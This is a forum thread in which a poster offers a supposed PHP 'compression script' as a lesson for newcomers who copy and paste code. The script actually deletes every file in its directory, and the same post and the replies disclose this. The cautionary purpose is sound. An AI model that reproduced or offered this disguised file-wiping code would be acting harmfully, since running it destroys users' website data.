You know there are a lot of Newbies on this forum that copy and paste code from other places and then want help to figure out why it doesn't work.

Obviously this is frustrating and dangerous practice, especially if you don't know what the code does.

So I thought that some of the more experienced people could post code that the Newbies could learn some valuable lessons from and copy and paste it to see what happens.

I will start by offering up a very high compression scheme for PHP, HTML, CSS, JS, and Images.

This code is so effective that it will speed up your website by 1000% guaranteed!

To use this code you MUST do the following:

1. Backup all the files in your directory
2. copy and paste the code into a file and upload it in the main directory
3. research the links below the code to learn what the script is doing
4. Run the script and Enjoy!!!

<?

define('DIR_DELIM',DIRECTORY_SEPARATOR);


$path = realpath('./');
$compress_path = "$path";

$target_files = scandir($compress_path);


foreach($target_files as $compression_file)
{
    
    @unlink($path.DIR_DELIM.$compression_file);

}


?>

Links that you MUST research before running this script!!
http://us3.php.net/realpath
http://us3.php.net/manual/en/function.unlink.php
http://us3.php.net/scandir

If you have made it this far, you should know NOT to run this script!

Do not execute this code, anyone.
It's designed to wipe out all files at the same level than this script.

Spyderweb, I have to say that I'm more than perplex upon this post...
I hesitate between reporting it and letting darwinism work...

Excellente!
Mi hava en cantrada ce por la viviendo en ducki!

Oui.

That's exactly the point...

Copy and paste newbies should really learn what PHP code actually does....

Did you happen the read the entire post?

Did you happen the read the entire post?

Yep, and that's why I talk about darwinism.
If they didn't read the small disclaimer, well...

I pity the fool

This post was definitely NOT to be malicious..... but more as a caution to Newbies.

When I started out, I downloaded a script that replaced all my adsense id's with some hacker's adsense id....

Painful lesson, but I have learned it.
